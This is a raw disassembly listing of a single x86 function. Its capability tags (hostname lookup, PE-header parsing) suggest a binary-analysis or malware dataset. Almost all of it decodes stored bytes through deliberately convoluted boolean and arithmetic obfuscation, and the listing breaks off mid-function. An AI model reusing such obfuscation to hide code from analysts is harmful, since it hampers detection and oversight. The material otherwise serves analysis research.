Function at 0x44adc0
Capabilities:
Get hostname
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc0
mov esi, esp
mov ecx, dword [ebp + 8]
jmp 0x44add6
cmp dword [0x478860], 0
sete al
test al, 1
jne 0x44ade9
jmp 0x44c956
mov al, byte [0x477ace]
mov ebx, ecx
mov cl, al
xor cl, 0xff
and cl, 0x1d
and al, 0xe2
or cl, al
xor cl, 0xab
mov byte [0x477ad2], cl
mov al, byte [0x477acf]
xor al, 0xbc
mov byte [0x477ad3], al
mov al, byte [0x477ad0]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xd9
and al, 0x26
or cl, al
xor cl, 0x58
mov byte [0x477ad4], cl
mov al, byte [0x477ad1]
mov cl, al
xor cl, 0xff
and cl, 0x45
and al, 0xba
or cl, al
xor cl, 0x8a
mov byte [0x477ad5], cl
mov ax, word [0x477a50]
xor ax, 0xe9b
mov word [0x477a70], ax
mov ax, word [0x477a52]
mov cx, ax
xor cx, 0xffff
and cx, 0x1e31
and ax, 0xe1ce
or cx, ax
xor cx, 0xa73b
mov word [0x477a72], cx
mov ax, word [0x477a54]
mov cx, ax
xor cx, 0x5754
xor cx, 0xffff
and cx, 0x5754
shl cx, 1
sub cx, 0x5754
sub ax, cx
mov word [0x477a74], ax
mov ax, word [0x477a56]
mov cx, ax
and cx, 0xcc7
shl cx, 1
add ax, 0xcc7
sub ax, cx
mov word [0x477a76], ax
mov ax, word [0x477a58]
xor ax, 0x9b99
mov word [0x477a78], ax
mov ax, word [0x477a5a]
mov cx, ax
and cx, 0xcf98
shl cx, 1
add ax, 0xcf98
mov dx, ax
xor dx, 0xffff
and dx, cx
xor cx, 0xffff
and ax, cx
sub ax, dx
mov word [0x477a7a], ax
mov ax, word [str._hq_]
mov cx, ax
xor cx, 0xffff
and cx, 0xdce9
and ax, 0x2316
or cx, ax
xor cx, 0xb4e7
mov word [0x477a7c], cx
mov ax, word [0x477a5e]
xor ax, 0x2105
mov word [0x477a7e], ax
mov ax, word [0x477a60]
mov cx, ax
xor cx, 0x9dfd
xor cx, 0xffff
and cx, 0x9dfd
shl cx, 1
sub cx, 0x9dfd
sub ax, cx
mov word [0x477a80], ax
mov cx, word [0x477a62]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0x9d45
and ax, 0x9d45
and cx, 0x62ba
mov dx, ax
and dx, cx
xor ax, cx
or dx, ax
mov word [0x477a82], dx
mov ax, word [0x477a64]
xor ax, 0x48ef
mov word [0x477a84], ax
mov al, byte [0x477a90]
xor al, 0x2b
mov byte [0x477ab0], al
mov al, byte [0x477a91]
mov cl, al
xor cl, 0xbd
and cl, al
shl cl, 1
mov dl, al
and dl, 0x42
or al, 0x42
add dl, al
sub dl, cl
mov byte [0x477ab1], dl
mov cl, byte [0x477a92]
mov al, cl
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, cl
xor ah, 0xff
or dl, ah
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xe9
xor cl, 0xff
and cl, 0x16
or al, cl
xor al, 0xff
mov byte [0x477ab2], al
mov ch, byte [0x477a93]
mov cl, ch
xor cl, 0xcc
xor cl, 0xff
and cl, 0xcc
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x34
sub ch, al
mov byte [0x477ab3], ch
mov al, byte [0x477a94]
mov cl, al
xor cl, 0xdd
xor cl, 0xff
and cl, 0xdd
shl cl, 1
sub cl, 0xdd
sub al, cl
mov byte [0x477ab4], al
mov al, byte [0x477a95]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x6e
or al, 0x6e
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x477ab5], cl
mov al, byte [0x477a96]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x7d
xor cl, 0xff
xor al, 0xff
or al, 0x7d
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x477ab6], cl
mov al, byte [0x477a97]
mov cl, al
and cl, 0xba
shl cl, 1
add al, 0xba
sub al, cl
mov byte [0x477ab7], al
mov al, byte [0x477a98]
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov cl, al
sub cl, dl
and cl, 0xa
mov dl, al
xor dl, 0xf5
xor dl, 0xff
or al, 0xf5
and al, dl
mov dl, al
and dl, cl
xor dl, 0xff
add cl, al
add cl, 1
add cl, dl
mov byte [0x477ab8], cl
mov al, byte [0x477a99]
mov cl, al
xor cl, 0x14
and cl, al
shl cl, 1
add al, 0xeb
sub al, cl
mov byte [0x477ab9], al
mov al, byte [0x477a9a]
xor al, 0x47
mov byte [0x477aba], al
mov al, byte [0x477a9b]
mov cl, al
xor cl, 0xff
and cl, 0x9b
and al, 0x64
or cl, al
xor cl, 0x3d
mov byte [0x477abb], cl
mov al, byte [0x477a9c]
xor al, 0x2c
mov byte [0x477abc], al
mov cl, byte [0x477a9d]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xad
xor cl, 0xff
and cl, 0x52
or al, cl
xor al, 0xff
mov byte [0x477abd], al
mov al, byte [0x477a9e]
mov dl, al
xor dl, 0xff
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov cl, dl
and cl, 0x26
xor dl, 0x26
or cl, dl
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x26
add al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or cl, al
mov byte [0x477abe], cl
mov ch, byte [0x477a9f]
mov cl, ch
and cl, 0xbe
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xbe
mov cl, ch
xor cl, 0xff
and cl, al
xor al, 0xff
and ch, al
sub ch, cl
mov byte [0x477abf], ch
mov cl, byte [0x477aa0]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0xac
and al, 0xac
and cl, 0x53
or al, cl
mov cl, al
xor cl, 0xc2
xor cl, 0xff
and cl, 0xc2
shl cl, 1
sub cl, 0xc2
sub al, cl
mov byte [0x477ac0], al
mov al, byte [0x477aa1]
xor al, 0x86
mov byte [0x477ac1], al
mov al, byte [0x477aa2]
xor al, 0x1f
mov byte [0x477ac2], al
mov cl, byte [0x477aa3]
mov dl, cl
xor dl, 0xff
mov al, dl
xor al, 0xff
or al, 0x20
and dl, 0xdf
xor dl, 0xff
and al, dl
xor al, 0xff
and cl, 0x20
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
xor al, 0xb4
mov byte [0x477ac3], al
mov al, byte [0x477aa4]
mov cl, al
xor cl, 0xff
and cl, 0xe9
and al, 0x16
or cl, al
xor cl, 0xdd
mov byte [0x477ac4], cl
mov al, byte [0x477aa5]
xor al, 0x12
mov byte [0x477ac5], al
mov al, byte [0x477aa6]
mov dl, al
and dl, dl
mov cl, dl
xor cl, 0xff
and cl, 0x8f
and dl, 0x70
or cl, dl
xor cl, 0x70
xor cl, 0xff
or cl, 0x1f
xor al, 0xff
or al, 0xe0
and cl, al
xor cl, 0xff
mov byte [0x477ac6], cl
mov al, byte [0x477aa7]
mov cl, al
and cl, 0xd6
shl cl, 1
add al, 0xd6
sub al, cl
mov byte [0x477ac7], al
mov al, byte [0x477aa8]
xor al, 0
mov byte [0x477ac8], al
mov al, byte [0x477aa9]
mov cl, al
xor cl, 0xc9
xor cl, 0xff
mov dl, al
or dl, 0xc9
and dl, cl
shl dl, 1
add al, 0xc9
sub al, dl
mov byte [0x477ac9], al
mov cl, byte [0x477aaa]
mov al, cl
xor al, 0xff
and al, 0xd5
mov dl, cl
and dl, 0x2a
or al, dl
xor al, 0x2a
or al, 0xde
add al, 0x22
and cl, 0xde
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
xor al, 0x18
mov byte [0x477aca], al
mov ch, byte [0x477aab]
mov cl, ch
xor cl, 0x87
xor cl, 0xff
and cl, 0x87
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0x87
xor edx, edx
sub dl, al
add ch, dl
mov byte [0x477acb], ch
mov al, byte [0x477aac]
xor al, 0xdc
mov byte [0x477acc], al
mov al, byte [0x477aad]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x25
or al, 0x25
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x477acd], cl
mov al, byte [0x477a28]
xor al, 0xca
mov byte [0x477a31], al
mov al, byte [str.:_H]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xe2
xor cl, 0xff
and cl, 0xff
mov dl, al
xor dl, 0x1d
and dl, al
or cl, dl
mov byte [str._nWR_t], cl
mov cl, byte [0x477a2a]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x6f
or cl, 0x6f
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x477a33], al
mov al, byte [0x477a2b]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xac
xor cl, 0xff
or al, 0x53
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x477a34], cl
mov al, byte [0x477a2c]
xor al, 0x2d
mov byte [0x477a35], al
mov al, byte [0x477a2d]
xor al, 0x70
mov byte [0x477a36], al
mov al, byte [0x477a2e]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xa0
xor cl, 0xff
and al, 0x5f
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x477a37], cl
mov cl, byte [0x477a2f]
mov dl, cl
xor dl, 0xff
and dl, 0xe7
and cl, 0x18
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0x63
xor cl, 0xff
xor al, 0xff
and al, 0x63
or cl, al
xor cl, 0xff
mov byte [0x477a38], cl
mov al, byte [0x477a30]
xor al, 0x9a
mov byte [0x477a39], al
mov al, byte [0x477a3a]
mov cl, al
and cl, 0x88
shl cl, 1
add al, 0x88
sub al, cl
mov byte [0x477a42], al
mov al, byte [0x477a3b]
mov cl, al
and cl, 0x96
shl cl, 1
mov dl, al
and dl, 0x96
shl dl, 1
xor al, 0x96
add al, dl
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x477a43], al
mov al, byte [0x477a3c]
mov cl, al
and cl, 0x77
shl cl, 1
add al, 0x77
sub al, cl
mov byte [0x477a44], al
mov al, byte [0x477a3d]
xor al, 6
mov byte [0x477a45], al
mov cl, byte [0x477a3e]
mov al, cl
xor al, 0xff
and al, 0xcc
mov dl, cl
and dl, 0x33
or al, dl
xor al, 0x33
and al, 0x4c
and cl, 0xb3
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
xor cl, 0xff
and cl, 1
and al, 0xfe
or cl, al
mov byte [0x477a46], cl
mov al, byte [0x477a3f]
xor al, 0xdf
mov byte [0x477a47], al
mov al, byte [0x477a40]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xd1
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x2e
or cl, al
mov byte [0x477a48], cl
mov cl, byte [0x477a41]
mov al, cl
xor al, 0xff
and al, 0xb4
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0x4b
add cl, dl
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov byte [0x477a49], al
mov al, byte [0x4779d6]
mov dl, al
and dl, dl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0x49
xor al, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xb6
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x4779dd], al
mov al, byte [0x4779d7]
xor al, 0xbd
mov byte [0x4779de], al
mov al, byte [0x4779d8]
xor al, 0x64
mov byte [0x4779df], al
mov al, byte [0x4779d9]
xor al, 0x14
mov byte [str._C], al
mov al, byte [0x4779da]
xor al, 0x2d
mov byte [0x4779e1], al
mov al, byte [0x4779db]
mov cl, al
xor cl, 0xc0
xor cl, 0xff
and cl, 0xc0
shl cl, 1
mov dl, cl
xor dl, 0xff
and dl, 0xc0
and cl, 0x3f
sub cl, dl
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4779e2], al
mov al, byte [0x4779dc]
xor al, 0xf1
mov byte [0x4779e3], al
mov eax, dword [0x47789c]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and ecx, 0xe3bbb3be
or eax, 0xe3bbb3be
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov dword [0x4778ac], ecx
mov eax, dword [0x4778a0]
mov ecx, eax
and ecx, 0x5c7cfeb9
mov edi, ecx
and edi, 0xfffffffd
mov edx, ecx
xor edx, 0xffffffff
and edx, 2
imul edx, edi
mov edi, ecx
and edi, 2
or ecx, 2
imul ecx, edi
add ecx, edx
sub eax, 0xa3830147
mov edx, eax
xor edx, ecx
xor ecx, 0xffffffff
and eax, ecx
shl eax, 1
sub eax, edx
mov dword [0x4778b0], eax
mov eax, dword [0x4778a4]
xor eax, 0x751f08dd
mov dword [0x4778b4], eax
mov eax, dword [0x4778a8]
xor eax, 0x6b5ec95d
mov dword [0x4778b8], eax
mov al, byte [0x477980]
xor al, 0x7a
mov byte [0x4779a0], al
mov al, byte [0x477981]
xor al, 0xc6
mov byte [0x4779a1], al
mov cl, byte [0x477982]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0x9c
xor cl, 0xff
or cl, 0x9c
xor cl, 0xff
and cl, 0xff
or al, cl
xor al, 0xe3
mov byte [0x4779a2], al
mov cl, byte [0x477983]
mov al, cl
xor al, 0xff
mov dl, cl
and dl, al
mov ah, cl
xor ah, ah
mov al, cl
add al, ah
sub al, dl
xor al, 0xff
mov dl, al
and dl, 0x74
mov ah, al
xor ah, 0x8b
add al, ah
sub al, dl
xor al, 0xff
xor cl, 0xff
mov dl, cl
xor dl, 0x74
and dl, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x4779a3], al
mov al, byte [0x477984]
mov cl, al
xor cl, 0xc
xor cl, 0xff
and cl, 0xc
shl cl, 1
sub cl, 0xc
sub al, cl
mov byte [0x4779a4], al
mov al, byte [0x477985]
xor al, 0xe2
mov byte [0x4779a5], al
mov al, byte [0x477986]
mov cl, al
xor cl, 0xb1
xor cl, 0xff
and cl, 0xb1
shl cl, 1
add cl, 0x4e
add cl, 1
sub al, cl
mov byte [0x4779a6], al
mov al, byte [0x477987]
xor al, 0x42
mov byte [str.v____], al
mov al, byte [0x477988]
xor al, 0xd6
mov byte [0x4779a8], al
mov al, byte [0x477989]
mov cl, al
and cl, 0x50
shl cl, 1
add al, 0x50
sub al, cl
mov byte [0x4779a9], al
mov al, byte [0x47798a]
xor al, 0x58
mov byte [0x4779aa], al
mov al, byte [0x47798b]
mov cl, al
xor cl, 0x94
xor cl, 0xff
xor cl, 0xff
or cl, 0x6b
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0x94
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x4779ab], al
mov al, byte [0x47798c]
xor al, 0x2b
mov byte [0x4779ac], al
mov al, byte [0x47798d]
xor al, 0xc
mov byte [0x4779ad], al
mov al, byte [0x47798e]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xa2
xor dl, 0xff
and dl, 0xa2
xor cl, 0xff
xor dl, 0xff
and cl, dl
and al, 0x5d
xor al, 0xff
and cl, al
mov al, cl
xor al, 0xff
and al, 0xb4
and cl, 0x4b
or al, cl
xor al, 0x4b
mov byte [0x4779ae], al
mov al, byte [str._sqp6]
xor al, 0x51
mov byte [0x4779af], al
mov al, byte [0x477990]
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov byte [0x4779b0], al
mov al, byte [0x477991]
mov cl, al
xor cl, 0xff
and cl, 0x39
and al, 0xc6
or cl, al
mov byte [0x4779b1], cl
mov al, byte [0x477992]
xor al, 0x1f
mov byte [0x4779b2], al
mov al, byte [0x477993]
xor al, 0x45
mov byte [0x4779b3], al
mov al, byte [0x477994]
mov cl, al
xor cl, 0xd9
mov dl, cl
xor dl, 0xff
and dl, 0x6d
and cl, 0x92
or dl, cl
xor dl, 0x92
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xd9
shl cl, 1
sub cl, 0xd4
sub cl, 0xd9
add cl, 0xd4
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4779b4], al
mov al, byte [0x477995]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x43
xor cl, 0xff
xor al, 0xff
or al, 0x43
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4779b5], cl
mov al, byte [0x477996]
xor al, 0x59
mov byte [0x4779b6], al
mov al, byte [0x477997]
xor al, 0x29
mov byte [0x4779b7], al
mov cl, byte [0x477998]
mov al, cl
xor al, 0xff
mov dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x95
xor cl, 0xff
or cl, 0x6a
and al, cl
xor al, 0xff
mov byte [0x4779b8], al
mov al, byte [0x477999]
xor al, 0x15
mov byte [0x4779b9], al
mov al, byte [0x47799a]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x2a
xor cl, 0xff
and cl, 0xff
mov dl, al
xor dl, 0x2a
xor dl, 0xff
or al, 0x2a
and al, dl
or cl, al
mov byte [0x4779ba], cl
mov al, byte [0x47799b]
mov cl, al
xor cl, 0xff
and cl, 0xc8
mov dl, al
and dl, 0x37
or cl, dl
xor cl, 0x37
and cl, 0xb8
and al, 0x47
or cl, al
mov byte [0x4779bb], cl
mov al, byte [0x47795b]
mov cl, al
xor cl, 0xff
and cl, 0xb4
and al, 0x4b
or cl, al
mov byte [0x477969], cl
mov ch, byte [0x47795c]
mov cl, ch
and cl, 0xff
or cl, 0
xor cl, 0x2a
xor cl, 0xff
and cl, 0x2a
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, al
xor cl, 0x2a
and al, 0xd5
shl al, 1
sub al, cl
sub ch, 0xd0
sub ch, al
add ch, 0xd0
mov byte [0x47796a], ch
mov al, byte [0x47795d]
mov cl, al
xor cl, 0xbf
xor cl, 0xff
mov dl, al
or dl, 0xbf
and dl, cl
shl dl, 1
add al, 0xbf
sub al, dl
mov byte [0x47796b], al
mov ch, byte [0x47795e]
mov al, ch
xor al, 0xa6
xor al, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x59
xor al, 0xff
or al, 0x59
xor cl, 0xff
xor al, 0xff
or cl, al
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x5a
add ch, 0x36
sub ch, al
sub ch, 0x36
mov byte [0x47796c], ch
mov al, byte [0x47795f]
xor al, 0x6b
mov byte [0x47796d], al
mov al, byte [0x477960]
mov cl, al
xor cl, 0xff
and cl, 0x37
and al, 0xc8
or cl, al
xor cl, 0xa7
mov byte [0x47796e], cl
mov cl, byte [0x477961]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0x61
xor dl, 0xff
or al, 0x61
and al, dl
and cl, 0x9e
or al, cl
mov cl, al
and cl, 0x6c
shl cl, 1
add al, 0x6c
sub al, cl
mov byte [str.M:fB], al
mov ch, byte [0x477962]
mov cl, ch
xor cl, 0x55
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
and cl, 0x55
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, al
xor cl, 0xff
and cl, 0x55
and al, 0xaa
sub al, cl
mov cl, ch
xor cl, al
xor al, 0xff
and ch, al
shl ch, 1
sub ch, cl
mov byte [0x477970], ch
mov ch, byte [0x477963]
mov cl, ch
xor cl, 0x81
xor cl, 0xff
and cl, 0x81
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0x81
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x477971], ch
mov al, byte [0x477964]
xor al, 0x1e
mov byte [0x477972], al
mov al, byte [0x477965]
xor al, 0xc
mov byte [0x477973], al
mov cl, byte [0x477966]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xc4
or cl, 0xc4
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x477974], al
mov al, byte [0x477967]
xor al, 0x1c
mov byte [0x477975], al
mov al, byte [0x477968]
xor al, 0x1d
mov byte [0x477976], al
mov cl, byte [0x4778bc]
mov dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
mov al, dl
xor al, 0xbc
and al, dl
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov dl, cl
xor dl, 0xbc
xor dl, 0xff
or cl, 0xbc
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
xor cl, 0xe0
mov byte [0x4778c9], cl
mov al, byte [0x4778bd]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x3f
and al, 0x3f
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4778ca], cl
mov al, byte [0x4778be]
xor al, 0xbb
mov byte [0x4778cb], al
mov cl, byte [0x4778bf]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0xac
xor dl, 0xff
or al, 0xac
and al, dl
and cl, 0x53
mov dl, al
or dl, cl
xor dl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
or dl, al
xor dl, 0xff
mov byte [str.hN_3_], dl
mov ch, byte [0x4778c0]
mov al, ch
add al, 1
mov cl, ch
xor cl, 0xff
or cl, 0x91
add cl, al
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x91
sub ch, al
mov byte [0x4778cd], ch
mov al, byte [0x4778c1]
mov cl, al
xor cl, 0x15
xor cl, 0xff
and cl, 0x15
shl cl, 1
sub cl, 0x15
sub al, cl
mov byte [0x4778ce], al
mov ch, byte [0x4778c2]
mov cl, ch
and cl, 0xcd
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xcd
sub ch, al
mov byte [0x4778cf], ch
mov al, byte [0x4778c3]
xor al, 0x79
mov byte [0x4778d0], al
mov al, byte [0x4778c4]
xor al, 0xa2
mov byte [0x4778d1], al
mov al, byte [0x4778c5]
xor al, 0xd1
mov byte [str.Npa_], al
mov al, byte [0x4778c6]
xor al, 0x77
mov byte [0x4778d3], al
mov al, byte [0x4778c7]
xor al, 0x63
mov byte [0x4778d4], al
mov al, byte [0x4778c8]
xor al, 0xbb
mov byte [0x4778d5], al
mov al, byte [0x4778d6]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x73
xor cl, 0xff
xor al, 0xff
or al, 0x73
and cl, al
xor cl, 0xff
mov byte [0x4778e5], cl
mov cl, byte [0x4778d7]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0
xor dl, 0xff
or al, 0
and al, dl
and cl, 0xff
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, dl
xor al, 0xff
mov cl, al
and cl, 0xd0
shl cl, 1
add al, 0xd0
sub al, cl
mov byte [0x4778e6], al
mov al, byte [0x4778d8]
xor al, 0x4d
mov byte [0x4778e7], al
mov al, byte [str._f43]
mov cl, al
xor cl, 0xff
and cl, 0x5f
and al, 0xa0
or cl, al
mov byte [0x4778e8], cl
mov al, byte [0x4778da]
mov dl, al
xor dl, 0xff
and dl, 0xcf
mov ah, al
xor ah, 0xcf
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, al
and cl, 0x5c
and dl, 0xa3
mov dh, ch
and dh, 0x5c
and ah, 0xa3
or cl, dl
or dh, ah
xor cl, dh
or al, ch
xor al, 0xff
and al, 0xff
or cl, al
xor cl, 0xc5
mov byte [0x4778e9], cl
mov al, byte [0x4778db]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x62
xor cl, 0xff
xor al, 0xff
or al, 0x62
and cl, al
xor cl, 0xff
mov byte [0x4778ea], cl
mov ch, byte [0x4778dc]
mov cl, ch
xor cl, 0xa9
and cl, ch
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x56
sub ch, al
mov byte [0x4778eb], ch
mov al, byte [0x4778dd]
mov cl, al
and cl, 0xbd
shl cl, 1
add al, 0xbd
sub al, cl
mov byte [0x4778ec], al
mov al, byte [0x4778de]
mov cl, al
xor cl, 0xff
and cl, 0x8b
mov dl, al
and dl, 0x74
or cl, dl
xor cl, 0x59
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xd2
shl cl, 1
mov dl, cl
xor dl, 0xd2
and cl, 0x2d
shl cl, 1
sub cl, dl
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x4778ed], al
mov al, byte [0x4778df]
mov cl, al
and cl, 0xea
shl cl, 1
add al, 0xea
sub al, cl
mov byte [0x4778ee], al
mov al, byte [0x4778e0]
mov cl, al
xor cl, 0xff
mov dl, al
and dl, cl
mov ah, al
xor ah, ah
mov cl, al
add cl, ah
sub cl, dl
xor cl, 0xff
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
and cl, 0xf1
or al, 0xf1
xor al, 0xff
and al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor al, 0xff
and dl, al
mov byte [0x4778ef], dl
mov al, byte [0x4778e1]
xor al, 0xc8
mov byte [0x4778f0], al
mov cl, byte [0x4778e2]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x61
and al, 0x61
mov dl, cl
xor dl, 0x9e
xor dl, 0xff
or cl, 0x9e
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dl
xor al, 0xff
and al, 0x31
and dl, 0xce
or al, dl
mov byte [0x4778f1], al
mov al, byte [0x4778e3]
xor al, 0x24
mov byte [0x4778f2], al
mov al, byte [0x4778e4]
xor al, 0x27
mov byte [0x4778f3], al
mov al, byte [0x4778f4]
xor al, 0x7c
mov byte [0x4778fd], al
mov cl, byte [0x4778f5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, dl
add al, ah
mov dl, al
and dl, 0x5b
xor dl, 0xff
add al, 0x5b
add al, 1
add al, dl
xor al, 0xff
or cl, 0xa4
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
